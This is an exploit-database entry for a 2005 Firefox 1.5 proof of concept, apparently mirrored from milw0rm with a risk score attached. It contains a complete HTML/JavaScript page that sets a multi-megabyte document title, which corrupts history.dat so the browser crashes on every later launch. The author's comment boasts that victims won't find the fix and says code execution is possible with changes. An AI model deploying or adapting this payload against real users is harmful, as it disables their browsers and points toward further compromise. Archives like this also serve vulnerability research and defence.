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Mozilla Firefox 1.5 - 'history.dat' Looping (PoC)
<!-- Firefox 1.5 buffer overflow
Basically firefox logs all kinda of URL data in it's history.dat file,
this little script will set a really large topic and Firefox will then
save that topic into it's history.dat.. The next time that firefox is
opened, it will instantly crash due to a buffer overflow -- this will
happen everytime until you manually delete the history.dat file -- which
most users won't figure out.
this proof of concept will only prevent someone from reopening
their browser after being exploited. DoS if you will. however, code
execution is possible with some modifcations.
Tested with Firefox 1.5 on Windows XP SP2.
ZIPLOCK <[email protected]>
-->
<html><head><title>heh</title><script type="text/javascript">
function ex() {
var buffer = "";
for (var i = 0; i < 5000; i++) {
buffer += "A";
}
var buffer2 = buffer;
for (i = 0; i < 500; i++) {
buffer2 += buffer;
}
document.title = buffer2;
}
</script></head><body>ZIPLOCK says <a href="javascript:ex();">CLICK ME
</a></body></html>
# milw0rm.com [2005-12-07]Data
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07 Dec 2005 00:00Current
7.4High risk
Vulners AI Score7.4